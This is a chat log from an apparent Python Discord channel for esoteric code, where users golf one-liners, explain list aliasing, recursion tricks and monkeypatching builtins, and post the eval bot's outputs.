#

@shy remnant :white_check_mark: Your eval job has completed with return code 0.

ok
shy remnant
#

surely print(1 or 5) would print true since both of them are valid?

proper vault
#

@shy remnant or returns the first operand if it truthy, otherwise it return the second

shy remnant
#

!e print(None or True)

night quarryBOT
#

@shy remnant :white_check_mark: Your eval job has completed with return code 0.

True
twilit grotto
#

also, this isn't really esoteric

shy remnant
#

eh i saw the print(1 or 5) above in the chat somewhere

rugged sparrow
#

@grave rover noice job with generics.py

crimson obsidian
#

hey, I am reading bytes from a file how do I increase the location of the pointer in the file for reading the byte

grave rover
#

let me know if you find any bugs (other than [1, 2, 3] not being an instance of list because of pytypes)

calm moat
#
a = [[0]*10]*10
a[0][1] = 1
print(a)
a=[[0, 0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0]]
a[0][1] = 1
print(a)
#

Please explain why how they are different??

proper vault
#

@calm moat the * on a list doesn't copy

#

!e same reason as

a = b = []
c = a
b.append(2)
print(a is b is c, a, b, c)
night quarryBOT
#

@proper vault :white_check_mark: Your eval job has completed with return code 0.

True [2] [2] [2]
calm moat
zealous widget
#

!e

a = [[0] * 10] * 10
print([id(l) for l in a])
a = [[0] * 10 for _ in range(10)]
print([id(l) for l in a])
night quarryBOT
#

@zealous widget :white_check_mark: Your eval job has completed with return code 0.

001 | [140599422142016, 140599422142016, 140599422142016, 140599422142016, 140599422142016, 140599422142016, 140599422142016, 140599422142016, 140599422142016, 140599422142016]
002 | [140599422733760, 140599422734144, 140599422980800, 140599422142080, 140599422141952, 140599422158208, 140599422158144, 140599422158720, 140599422159744, 140599422157952]
zealous widget
#

memory addresses are all the same first example and all different in the 2nd!

proper vault
#

as salt showed, a = [[0] * 10 for _ in range(10)]

calm moat
#

ohh, my bad!

sick hound
#

I am trying to obtain this: ["BERLIN", "eats", "PARIS", "drinks"] ... from this: "BERLINeatsPARISdrinks" and I've approached it in three ways:

#
city, city_bis = "".join(map(lambda c: c if c.isupper() else " ", "BERLINeatsPARISdrinks")).split()
verb, verb_bis = "".join(map(lambda c: c if c.islower() else " ", "BERLINeatsPARISdrinks")).split()
#

That obviously sucks because I am repeating the same iteration on the string.

#

Another way:

#
contents = "BERLINeatsPARISdrinks".translate(trans)
city = contents.find('Aa') + 1
verb = contents.find('aA', city) + 1
city_bis = contents.find('Aa', clue) + 1
rugged sparrow
#

!e ```py
import re
citys = re.findall(r'([A-Z]+)([a-z]+)', 'BERLINeatsPARISdrinks')
print(citys)

night quarryBOT
#

@rugged sparrow :white_check_mark: Your eval job has completed with return code 0.

[('BERLIN', 'eats'), ('PARIS', 'drinks')]
sick hound
#

Thanks @rugged sparrow but I must avoid reg exp. I thought about using itertools groupby but I can't.

rugged sparrow
#

ah ok

formal sandal
#

Do you want an esoteric solution, or an actual solution? @sick hound

sick hound
#

A one liner would be great, @formal sandal. But anything I haven't thought of is welcome.

#

This was my first attempt:

#
            prev_index = 0
            checks = [str.islower, str.isupper, str.islower]
            details = []
            for index, char in enumerate("BERLINeatsPARISdrinks"):
                if checks[-1](char):
                    details.append("BERLINeatsPARISdrinks"[prev_index:index])
                    checks.pop()
                    prev_index = index
                    if not checks:  # handle last substring
                        details.append("BERLINeatsPARISdrinks"[prev_index:])
                        break
formal sandal
#

I thought of a similar thing, but with a generator function

#

!e

def tokenize(source: str):
    token = ""
    for char in source:
        if token != "" and token.isupper() != char.isupper():
            yield token
            token = ""
        token += char
    if token != "":
        yield token

print([*tokenize("BERLINeatsPARISdrinks")])
night quarryBOT
#

@formal sandal :white_check_mark: Your eval job has completed with return code 0.

['BERLIN', 'eats', 'PARIS', 'drinks']
formal sandal
#

I'm sure this can be golfed to death

sick hound
#

Looks interesting, going to play with it. Thanks @formal sandal. Why would you use generators? The string has to be evaluated entirely anyway, right?

formal sandal
#

right, but a generator makes producing a new element more concise

#

!e
There's also this atrocity

def tokenize(source: str):
    token = ""
    for char in source + source[-1:].swapcase():
        if token != "" and token.isupper() != char.isupper():
            yield token
            token = ""
        token += char

print([*tokenize("BERLINeatsPARISdrinks")])
night quarryBOT
#

@formal sandal :white_check_mark: Your eval job has completed with return code 0.

['BERLIN', 'eats', 'PARIS', 'drinks']
sick hound
#

You know, it's taken me five minutes to actually understand why it even works. 🙂

#

... let alone come up with it.

formal sandal
#

👀

#

well, that's what this channel is for

#

are you talking about the generator solution, or this particular hack?

sick hound
#

The last one in particular.

#

The string concatenation(s) are going to be a killer but I like it. Thanks.

formal sandal
#

Not necessarily. In CPython, if a string has only one reference, it can optimize it into mutating the internal buffer

#

So storing the chars in a list and concatenating them might not be more performant

sick hound
#

Yes. The "fastest" solution so far was to use "translate" and change all letters into either "a" or "A" depending on whether they're uppercase or lowercase.

#

Then one can look for "aA" or "Aa" to detect changes in case.

formal sandal
#

!e

def tokenize(source: str):
    token = ""
    for char in source + source[-1:].swapcase():
        token = (token + char if token == "" or token.isupper() == char.isupper() else "") or (yield token) or char

print([*tokenize("BERLINeatsPARISdrinks")])
night quarryBOT
#

@formal sandal :white_check_mark: Your eval job has completed with return code 0.

['BERLIN', 'eats', 'PARIS', 'drinks']
proper vault
#

!e py s='BERLINeatsPARISdrinks' r=[];t=[a.isupper()for a in s];u=0 while s:n=t.index(u)if u in t else len(s);u=1-u;del t[:n];r.append(s[:n]);s=s[n:] print(r) highly inefficient, but pretty neat.

night quarryBOT
#

@proper vault :white_check_mark: Your eval job has completed with return code 0.

['BERLIN', 'eats', 'PARIS', 'drinks']
sick hound
#

Ahahahah ... lovely @proper vault.

formal sandal
#

!e

def tokenize(source: str):
    token = ""
    for char in source + source[-1:].swapcase():
        token = (token=="" or token.isupper()==char.isupper()) and token + char or (yield token) or char

print([*tokenize("BERLINeatsPARISdrinks")])
night quarryBOT
#

@formal sandal :white_check_mark: Your eval job has completed with return code 0.

['BERLIN', 'eats', 'PARIS', 'drinks']
sick hound
#

note to self: never, again, ask for advice in #esoteric-python before going to bed

formal sandal
#

!e
Slightly shorter

def tokenize(s,t=""):
 for c in s+s[-1:].swapcase():t=(t==""or t.isupper()==c.isupper())and t+c or(yield t)or c

print([*tokenize("BERLINeatsPARISdrinks")])
night quarryBOT
#

@formal sandal :white_check_mark: Your eval job has completed with return code 0.

['BERLIN', 'eats', 'PARIS', 'drinks']
sick hound
#

Why the : in s[-1:], @formal sandal ?

formal sandal
#

What if the string is empty? 🙂

sick hound
#

Oh, niiice. Didn't know that.

#

Avoids the "out of range" indeed.

#

Same with the first element. That's a nice trick. Thanks.

formal sandal
#

!e
Slightly shorter

tokenize=lambda s,t="":(x:=[])or[t:=(t==""or t.isupper()==c.isupper())and t+c or x.append(t)or c for c in s+s[-1:].swapcase()]and x
print([*tokenize("BERLINeatsPARISdrinks")])
night quarryBOT
#

@formal sandal :white_check_mark: Your eval job has completed with return code 0.

['BERLIN', 'eats', 'PARIS', 'drinks']
sick hound
#

Isn't append always going to return None?

formal sandal
#

yes

sick hound
#

So why "or" it?

formal sandal
#

therefore or will try the next element

#

the append is used for the side effect

sick hound
#

Ok, you don't care about its evaluation, you're just interested in the mutation of "x" and to keep it in one statement for the lambda.

formal sandal
#

ye

#

!e

s="BERLINeatsPARISdrinks"
t=""
f=str.isupper
print((x:=[])or[t:=(t==""or f(t)==f(c))and t+c or x.append(t)or c for c in s+s[-1:].swapcase()]and x)
night quarryBOT
#

@formal sandal :white_check_mark: Your eval job has completed with return code 0.

['BERLIN', 'eats', 'PARIS', 'drinks']
formal sandal
#

This is actually 5 characters shorter than @proper vault's lemon_smug

naive roost
#

you definitely have the right to be smug 😄

formal sandal
#

!e

s="BERLINeatsPARISdrinks"
t=""
f=str.isupper
x=[]
for c in s+s[-1:].swapcase():t=(t==""or f(t)==f(c))and t+c or x.append(t)or c
print(x)
#

this is even better

night quarryBOT
#

@formal sandal :white_check_mark: Your eval job has completed with return code 0.

['BERLIN', 'eats', 'PARIS', 'drinks']
sick hound
#

Well, I have learnt a new term as well — "golfing".

formal sandal
#

🙂

sick hound
#

Sleep well folks. Thanks for the instructive showcase @formal sandal.

glacial rampart
#
def f():
    try:
        return f()
    except (lambda: RecursionError)():
        return False
    else:
        return True
#

a small paradox I came up with

wind token
#

!e def f(): try: return f() except (lambda: RecursionError)(): return False else: return True

night quarryBOT
#

@wind token :warning: Your eval job has completed with return code 0.

[No output]
rugged sparrow
#

@glacial rampart how is it a paradox?

earnest wing
#

It's not broken, the function is just never called :^)

rugged sparrow
#

yes it is

#

when the interpreter hits a RecursionError it allows for i think 2? more frames to handle it. here, one of those frames is that except block (which handles it by returning False)

#

only one call of f actually raises a recursion error, so that False just propagates up

#

if you did like py def f(): try: r = f() print(r) return return r except (lambda: RecursionError)(): return False else: return True itll run print(r) on every call

#

f() is only skipped on the call that raises the recursion error

#

oh im dumb i though you meant that the func was never called inside it

earnest wing
#

I counted 48 extra function calls between a recursionerror and a stack overflow in my repl.

rugged sparrow
wind token
#

i didn't do it

glacial rampart
#

it wasn't meant to be runnable directly. if you wanted to run it, stick f() at the end

naive roost
#

Well, the original code returns False

#

at least when called

#

because you return f() if you can, and False if you can't, the False propagates up the call frames

kind heath
next flame
#

hmmm

#

this brython?

shy zenith
#

how do you define variables in a one liner

twilit grotto
#

a = 0

shy zenith
#

no

twilit grotto
#

?

fallow schooner
#

x=lambda r,y: r+y

naive roost
#

!e py x=lambda r, y: r + y print(x)

night quarryBOT
#

@naive roost :white_check_mark: Your eval job has completed with return code 0.

<function <lambda> at 0x7fc45a48a040>
sick hound
#
(lambda c, a: [
    f(c, a) for f in [
        
        lambda c, a: [c.__setattr__(k, a.coroutine(v)) for k, v in {
            "on_ready": lambda: print("Ready!"),
        }.items()],

        lambda c, a: [c.command(name = k)(a.coroutine(v)) for k, v in {
                "ping": lambda ctx: c.loop.create_task(ctx.send("Pong!"))
            }.items()],
        
        lambda c, a: c.load_extension("jishaku"),

        lambda c, a: c.run(token)
    ]
])(
    __import__("importlib").import_module("discord.ext.commands").Bot(command_prefix = "lambda: "),
    __import__("asyncio")
)

small kind of esoteric discord bot

snow beacon
shy zenith
#

what does that do

naive roost
#

!e ```py
if (x := 2) < 3:
print(x)

night quarryBOT
#

@naive roost :white_check_mark: Your eval job has completed with return code 0.

2
shy zenith
#

hm

formal sandal
#

(from #internals-and-peps) @sick hound It seems that your function is tail-recursive, which means you can do tail call optimization!

#

!e
Any tail-recursive function can be re-written as this:

def tco(initial = lambda *args: args):
    def decorator(step_fn):
        def function(*args):
            acc = initial(*args)
            done = False
            while not done:
                done, acc = step_fn(*acc)
            return acc
        return function
    return decorator


@tco(lambda n: (n, 1))
def factorial(n, total):
    if n <= 0:
        return True, total
    else:
        return False, (n - 1, total * n)

print(factorial(1005))
night quarryBOT
#

@formal sandal :white_check_mark: Your eval job has completed with return code 0.

4084573625427926461960411776755798447068222734620727479639565495066604130413823740779170157066334062704593625902870325333724941434910941930696129746044082690792788384359546922391437229557175459998821721069768370063823267544725388397601727308375883743731426402228903709475327186525689108132608784955033064028816259485533853052367975887427098785294399137373954530679439603830111951433264423603181596649981248270862386454521995056654406114307005047743548366389751805969839634915293992175336607117081261827772363519261830155364511660370722211394367156071388657777299560331619493861205958913147103992613172710308459642746981809252201460169403306360080259121892565998732697598893323616057665295873523431906867169837438893858408240943851630713879356972392502762740864214574999109698992321597038948695482568243040350973338501824885503656373470920540950928891846661711086294925449559752832754272518476762551377955398371033048824688293809090288662385555604880714213883036508647791744339558768810729061131963811
... (truncated - too long)

Full output: https://paste.pythondiscord.com/mevodadoqu.txt

formal sandal
#

In Python, there's no tail recursion optimization, so writing a plain recursive function in a tail-call style won't help much

#

So True, result means that you have some final result

#

and False, (arg1, arg2, ...) means that you have some arguments for the next function call

night quarryBOT
#

Hey @stone crane!

Uh-oh! It looks like your message got zapped by our spam filter. We currently don't allow .txt attachments, so here are some tips to help you travel safely:

• If you attempted to send a message longer than 2000 characters, try shortening your message to fit within the character limit or use a pasting service (see below)

• If you tried to show someone your code, you can use codeblocks
(run !code-blocks in #bot-commands for more information) or use a pasting service like:

https://paste.pythondiscord.com

next flame
#

oh nice trampolines

rugged sparrow
#

@shy zenith so the first part (lambda f:f(f)) is a function that takes one argument f and then it calls it with itself as its argument f(f)

shy zenith
#

i do not follow

rugged sparrow
#

it is basically this ```py
def Ycombinator(func):
return func(func)

def workfunc(workfunc, arg=default_val):
if do_work():
return 'done'
return workfunc(workfunc)

Ycombinator(workfunc)

river monolith
#

ohhh thats super cool

#

the syntax was confusing it looked like multiplying lambdas

rugged sparrow
#

the second part actually does the work for the recursive function, and then calls itself (or doesnt if done)

river monolith
#

i didnt realize you could do that tho

ember grail
#

within a compression list can i declare a variable once

#

like

#

i want an equivalent to

rugged sparrow
#

that too, list comprehensions help with declaring variables

ember grail
#
x = 0
res = []
for i in somelist:
  if i%5 and x < 3 == 0:
    x+= 1
  res.append(x*i)
#

something random liek this

#

er

rugged sparrow
#

@ember grail that does not need recursion

#

you could use a mutable outer value

#

or a walrus

ember grail
#

but with walrus i can declare such variable once?

#

without rewritting it in each loop

#

so say something like

rugged sparrow
#
res = (lambda x=0:[[x:=x+1 if i%5 and x < 3 == 0 else 0]and x*i for i in somelist])()```
ember grail
#

i see

rugged sparrow
#

you declare an anonymous function that you only use there

#

if you want to use only list comps then you could do py res = [[[x:=x+1 if i%5 and x < 3 == 0 else 0]and x*i for i in somelist]for x in [0]][0]

#

(there are def ways to optimize that further tho)

ember grail
#

how do i do This

#

in compressed python™️

rugged sparrow
#

res = [function(i,i+1)for i in somelist] @ember grail

ember grail
#

i gave that function as an example but i meant like

#

something more complex, like say

#

well ill handle that later

alpine flower
#

can't you do smthing like:

f = lambda x, y: foo(x,y)
res = [f(i, i+1) for i in somelist]```
ember grail
#

im trying to do a oneliner

alpine flower
#

actually nvm that's redundant

ember grail
#

and technically you can just

alpine flower
#

use the function directly?

#

if you fit the function into a lambda you can do it in 2 lines, idk about 1

#

unless you stick the function into the list comp

#
res = [i*(i+1) for i in lst]```
radiant anchor
#

res = map(lambda x: function(x, x+1), somelist)

#

or just a list comprehension

radiant anchor
ember grail
#

i kinda dont have any rn, so nvm

rugged sparrow
#

@radiant anchor i found a way to make the fakeobj code you wrote only need one heap groom to work. You just need to get the memory of a single item tuple, which can be done with the original fakeobj. then on subsequent calls you can just overwrite the first address in the tuple, then use that as a consts in a lambda:None function

#

you can do that as much as you want and it doesnt require the heapgroom (after is succeeds once)

astral rover
#
from types import GenericAlias
from typing import Any

from patchy import patch


@patch(int, "__class_getitem__")
def __class_getitem__(cls: type[int], *args: Any) -> GenericAlias:
    print("cls is", cls)
    print("args", args)
    return GenericAlias(cls, args)


print("heck")
print(int[12])
print("done")

# prints
# heck
# cls is 12
# args ()
# 12[()]
# done
```this is some weird stuff
abstract oracle
#

!e

from types import GenericAlias
from typing import Any

from patchy import patch


@patch(int, "__class_getitem__")
def __class_getitem__(cls: type[int], *args: Any) -> GenericAlias:
    print("cls is", cls)
    print("args", args)
    return GenericAlias(cls, args)


print("heck")
print(int[12])
print("done")
night quarryBOT
#

@abstract oracle :x: Your eval job has completed with return code 1.

001 | Traceback (most recent call last):
002 |   File "<string>", line 4, in <module>
003 | ModuleNotFoundError: No module named 'patchy'
astral rover
#

why does cls get mapped to 12 shouldnt it be int?

radiant anchor
sick hound
#

@formal sandal Do you remember coming up with this:

#
def tokenize(s,t=""):
  for c in s+s[-1:].swapcase():t=(t==""or t.isupper()==c.isupper())and t+c or(yield t) or c
#

... to extract tokens from: "PARISeatsBERLINdrinks".

#

What do you think about:

formal sandal
sick hound
#
"".join([(" ", c)[c.isupper()] for c in s] + [(" ", c)[c.islower()] for c in s]).split()
#

Only two CC!

rugged sparrow
#

@astral rover is that my patchy module? theres is an update for it on pypi called fishhook

#

i am intrigued as to why __class_getitem__ works like that

astral rover
#

Yeah it's your module

rugged sparrow
#

yea you should use fishhook its way more stable

astral rover
#

I didn't know it was on pypi

#

But will do

rugged sparrow
formal sandal
rugged sparrow
#

it properly supports exceptions (as opposed to patchy which shimmed them using stack manipulation)

sick hound
astral rover
#

seems slightly less weird with fishhook fishhook.<4441046496>[12]

rugged sparrow
#

hmm i wonder how __class_getitem__ is implemented (because that should say int)

#

ahh its inherited from type

alpine flower
rugged sparrow
#

so __class_getitem__ functions as a bound method so it stores the class it is declared within to __self__

#

i may have to add a specific handler for it

formal sandal
alpine flower
#

you can come up with whatever excuse you want, we know the truth now

rugged sparrow
#

@astral rover just pushed an update that fixes __class_getitem__ with fishhook

astral rover
#

ah right thanks

rugged sparrow
#

it looks like orig doesnt work for hooked __class_getitem__ tho, ill look into that

shy zenith
#

how would something like

l=[1]
for i in range(10):
  l.append(sum(l))
print(l)
``` be made into a one liner
twilit grotto
#

isn't that just doubling

#

!e
l=[1]
for i in range(10):
l.append(sum(l))
print(l) 
be made into a one liner

night quarryBOT
#

@twilit grotto :x: Your eval job has completed with return code 1.

001 |   File "<string>", line 4
002 |     print(l) 
003 |             ^
004 | SyntaxError: invalid non-printable character U+200A
twilit grotto
#

tf

shy zenith
#

well yeah but thats just an example

#

i tried using the walrus operator but didn't work

astral rover
#
print([1, 1, 2, 4, 8, 16, 32, 64, 128, 256, 512])
```onelined 😎
shy zenith
#

okay now do

l=[1,2]
for i in range(2**32):
  l.append(sum(l))
print(l)
frozen holly
#
print([1, 2] + [3 * 2 ** i for i in range(2 ** 32)])
#

!e

print([1, 2] + [3 * 2 ** i for i in range(32)])
shy zenith
#

...

night quarryBOT
#

@frozen holly :white_check_mark: Your eval job has completed with return code 0.

[1, 2, 3, 6, 12, 24, 48, 96, 192, 384, 768, 1536, 3072, 6144, 12288, 24576, 49152, 98304, 196608, 393216, 786432, 1572864, 3145728, 6291456, 12582912, 25165824, 50331648, 100663296, 201326592, 402653184, 805306368, 1610612736, 3221225472, 6442450944]
shy zenith
#

didn't work

frozen holly
#

??

#

yes it did

shy zenith
#

its 2**32

frozen holly
#

yea but thattle crash the interpreter

#

try it

#

but itd work for 2 ** 32

shy zenith
#

:/

#

then do

l = [0,1]
for i in range(1,100):
  l.append(l[i-1]+l[i])
print(l)
frozen holly
#
fib, tmp = lambda n:__import__("functools").reduce(lambda x,n:[x[1],x[0]+x[1]], range(n),[0,1])[0], [print(fib(i)) for i in range(1, 100)]
#

!e fib, tmp = lambda n:import("functools").reduce(lambda x,n:[x[1],x[0]+x[1]], range(n),[0,1])[0], [print(fib(i)) for i in range(1, 100)]

night quarryBOT
#

@frozen holly :x: Your eval job has completed with return code 1.

001 | Traceback (most recent call last):
002 |   File "<string>", line 1, in <module>
003 |   File "<string>", line 1, in <listcomp>
004 | NameError: name 'fib' is not defined
frozen holly
#

urgh

shy zenith
#

ha

frozen holly
#

it works in 3.9 stick it in your interpreter

shy zenith
#

too bad i use 3.8

frozen holly
#

hold on why doesnt it work in 3.8

fervent hull
#

!e

print([0, 1] + [int((((1+5**0.5)/2)**(n+1)-((1-5**0.5)/2)**(n+1))/5**0.5)for n in range(1, 100)])
night quarryBOT
#

@fervent hull :white_check_mark: Your eval job has completed with return code 0.

[0, 1, 1, 2, 3, 5, 8, 13, 21, 34, 55, 89, 144, 233, 377, 610, 987, 1597, 2584, 4181, 6765, 10946, 17711, 28657, 46368, 75025, 121393, 196418, 317811, 514229, 832040, 1346269, 2178309, 3524578, 5702887, 9227465, 14930352, 24157817, 39088169, 63245986, 102334155, 165580141, 267914296, 433494437, 701408733, 1134903170, 1836311903, 2971215073, 4807526976, 7778742049, 12586269025, 20365011074, 32951280099, 53316291173, 86267571272, 139583862445, 225851433717, 365435296162, 591286729879, 956722026041, 1548008755920, 2504730781961, 4052739537881, 6557470319842, 10610209857723, 17167680177565, 27777890035288, 44945570212853, 72723460248141, 117669030460994, 190392490709135, 308061521170129, 498454011879265, 806515533049395, 1304969544928660, 2111485077978055, 3416454622906715, 5527939700884771, 8944394323791488, 14472334024676260, 23416728348467744, 37889062373144008, 61305790721611752, 99194853094755776, 160500643816367552, 259695496911123328, 420196140727490880, 679891637638614272, 110008777
... (truncated - too long)

Full output: https://paste.pythondiscord.com/isitajuhem.txt

frozen holly
#

oh im a dumbass

#

i defined it earlier in the shell

shy zenith
#

ok now do this

import random
l = [0]
for i in range(110):
    l.append(l[i]+random.randint(0,1)*2+1)
print(l)
fervent hull
#

!e

print([0] + [(s:=(_ and s)+__import__("random").randint(0,1)*2+1) for _ in range(110)])
night quarryBOT
#

@fervent hull :white_check_mark: Your eval job has completed with return code 0.

[0, 3, 4, 7, 8, 11, 12, 15, 18, 19, 20, 23, 24, 25, 26, 29, 30, 33, 34, 37, 40, 43, 46, 47, 50, 53, 56, 59, 60, 61, 62, 65, 66, 67, 68, 69, 72, 73, 76, 79, 80, 81, 84, 87, 90, 93, 96, 97, 100, 101, 102, 103, 106, 109, 112, 113, 114, 115, 118, 121, 124, 125, 128, 129, 132, 133, 134, 135, 136, 137, 140, 141, 142, 143, 144, 147, 148, 149, 152, 153, 154, 157, 158, 159, 162, 165, 166, 169, 172, 173, 174, 177, 180, 183, 184, 185, 188, 189, 192, 193, 194, 197, 198, 199, 200, 201, 204, 205, 208, 209, 212]
shy zenith
#

okay thats more like it

#

ty

fervent hull
#

Glad that Python checks for reference error at runtime and and shortcuts

snow beacon
#

It does?

#

Oh, you mean it doesn't throw an error if the and skips it?

steep mural
#

I guess this is the best place to ask this... I'm using dis.Bytecode to create a list of dis.Instruction objects so I can mess with a functions bytecode... is there an easy way to recompile this list of dis.Instruction objects into python bytecode or should I use something else?

sick hound
#

I am pretty sure you know the solution to this, @formal sandal ... How would you turn this into a "one-liner"?

#
def p(file, d={}, t={58: 97, 65: 65, 66: 65, 67: 65, 68: 65, 69: 65, 70: 65, 71: 65, 72: 65, 73: 65, 74: 65, 75: 65, 76: 65, 77: 65, 78: 65, 79: 65, 80: 65, 81: 65, 82: 65, 83: 65, 84: 65, 85: 65, 86: 65, 87: 65, 88: 65, 89: 65, 90: 65, 97: 97, 98: 97, 99: 97, 100: 97, 101: 97, 102: 97, 103: 97, 104: 97, 105: 97, 106: 97, 107: 97, 108: 97, 109: 97, 110: 97, 111: 97, 112: 97, 113: 97, 114: 97, 115: 97, 116: 97, 117: 97, 118: 97, 119: 97, 120: 97, 121: 97, 122: 97, 193: 65, 195: 65, 201: 65, 205: 65, 214: 65, 220: 65, 242: 97, 256: 65, 258: 65, 278: 65, 298: 65, 352: 65, 362: 65}):
    for q in "".join(filter(lambda l: not l.startswith(("#", "\n")), open(file, encoding="utf-8", newline="\n").readlines())).split():
        a = (x := q.translate(t)).find('Aa', c := x.find('aA', o := x.find('Aa') + 1) + 1) + 1; d.setdefault((q[:o], q[o:c]), []).append((q[c: a], q[a:]))
    return d
#

The problem I have is keeping the return d and the for loop in one line. Would obviously use a comprehension if I didn't have to modify the dictionary (d) and return it.

#

(also notice that I am somewhat cheating with the ; which I can though replace with a walrus on a and the and operator)

copper thunder
#

You probably can remove the ; with some and/or, then turn it into a list comprehension and return (listcomp + [d])[-1]

sick hound
sick hound
#

Took me five minutes. I am getting better at something useless:

#
def pp(f, d={}, t={58: 97, 65: 65, 66: 65, 67: 65, 68: 65, 69: 65, 70: 65, 71: 65, 72: 65, 73: 65, 74: 65, 75: 65, 76: 65, 77: 65, 78: 65, 79: 65, 80: 65, 81: 65, 82: 65, 83: 65, 84: 65, 85: 65, 86: 65, 87: 65, 88: 65, 89: 65, 90: 65, 97: 97, 98: 97, 99: 97, 100: 97, 101: 97, 102: 97, 103: 97, 104: 97, 105: 97, 106: 97, 107: 97, 108: 97, 109: 97, 110: 97, 111: 97, 112: 97, 113: 97, 114: 97, 115: 97, 116: 97, 117: 97, 118: 97, 119: 97, 120: 97, 121: 97, 122: 97, 193: 65, 195: 65, 201: 65, 205: 65, 214: 65, 220: 65, 242: 97, 256: 65, 258: 65, 278: 65, 298: 65, 352: 65, 362: 65, 197: 65, 229: 97, 322: 97, 321: 65}):
        return ([all(((a := (x := q.translate(t)).find('Aa', c := x.find('aA', o := x.find('Aa') + 1) + 1) + 1), (d.setdefault((q[:o], q[o:c]), []).append((q[c: a], q[a:]))))) for q in "".join(filter(lambda l: not l.startswith(("#", "\n")), open(f, encoding="utf-8", newline="\n").readlines())).split()], d)[1]
sick hound
#

This is dumb and has no use, but is there a way to get the global dictionary of another file without running it

#

For example, say I have b.py with some code in it, I want to see what its globals() will be from a.py without running b.py, is that possible?

#

I personally don't think that's possible but I'll ask it anyways in case it is

formal sandal
night quarryBOT
#

@formal sandal :white_check_mark: Your eval job has completed with return code 0.

{'__name__': 'math', '__doc__': 'This module provides access to the mathematical functions\ndefined by the C standard.', '__package__': '', '__loader__': <_frozen_importlib_external.ExtensionFileLoader object at 0x7f44206f3eb0>, '__spec__': ModuleSpec(name='math', loader=<_frozen_importlib_external.ExtensionFileLoader object at 0x7f44206f3eb0>, origin='/usr/local/lib/python3.9/lib-dynload/math.cpython-39-x86_64-linux-gnu.so'), 'acos': <built-in function acos>, 'acosh': <built-in function acosh>, 'asin': <built-in function asin>, 'asinh': <built-in function asinh>, 'atan': <built-in function atan>, 'atan2': <built-in function atan2>, 'atanh': <built-in function atanh>, 'ceil': <built-in function ceil>, 'copysign': <built-in function copysign>, 'cos': <built-in function cos>, 'cosh': <built-in function cosh>, 'degrees': <built-in function degrees>, 'dist': <built-in function dist>, 'erf': <built-in function erf>, 'erfc': <built-in function erfc>, 'exp': <built-in function exp>, 'expm1': 
... (truncated - too long)

Full output: https://paste.pythondiscord.com/fikiqakawi.txt

stark fable
#

alternatively you could run it without "running" it by implementing a python interpreter within python to see what the globals() dictionary would have been if you did run it

sick hound
#

Ah wait, I should've been specific, I don't want to use import. The entire reason I'm doing this is because I got an idea in my dream to create my own import function that only imports specific things given a pattern. So if I give the function a pattern of t.n to import from file a.py, it'll import every function/class from the file that matches that pattern (ten, tan, ...). The only problem here is, if I just read file and check if something words match the pattern, it'll try to import local stuff and that'll fail. I know this is useless, just doing it to pass time.

stark fable
stark fable
#

import the file with import, select everything that matches the pattern, and only return those

sick hound
#

That's the point, I don't want to use import

#

Oh wait, I'm using __import__ anyways

#

Bruh

stark fable
#

import the file by creating two dictionaries, reading the file and executing the code with compile and exec, select everything that matches the pattern, and only return those

sick hound
#

Hm. I'll try that, thanks

calm moat
#

I don't know if this counts as esoteric but can something like this be done in python?

a,b=[(i,j) for i,j in [[1,2],[2,3],[3,4]]]
#

I want output of [1,2,3] in a
and [2,3,4] in b

sick hound
#

Yeah sure

#

!e

l = [[1, 2], [2, 3], [3, 4]]
a, b = zip(*l)

print(a, b)
night quarryBOT
#

@sick hound :white_check_mark: Your eval job has completed with return code 0.

(1, 2, 3) (2, 3, 4)
sick hound
#

This gives tuples, you can just use map(list, zip(*l)) to make it a list, or, [list(i) for i in zip(*l)]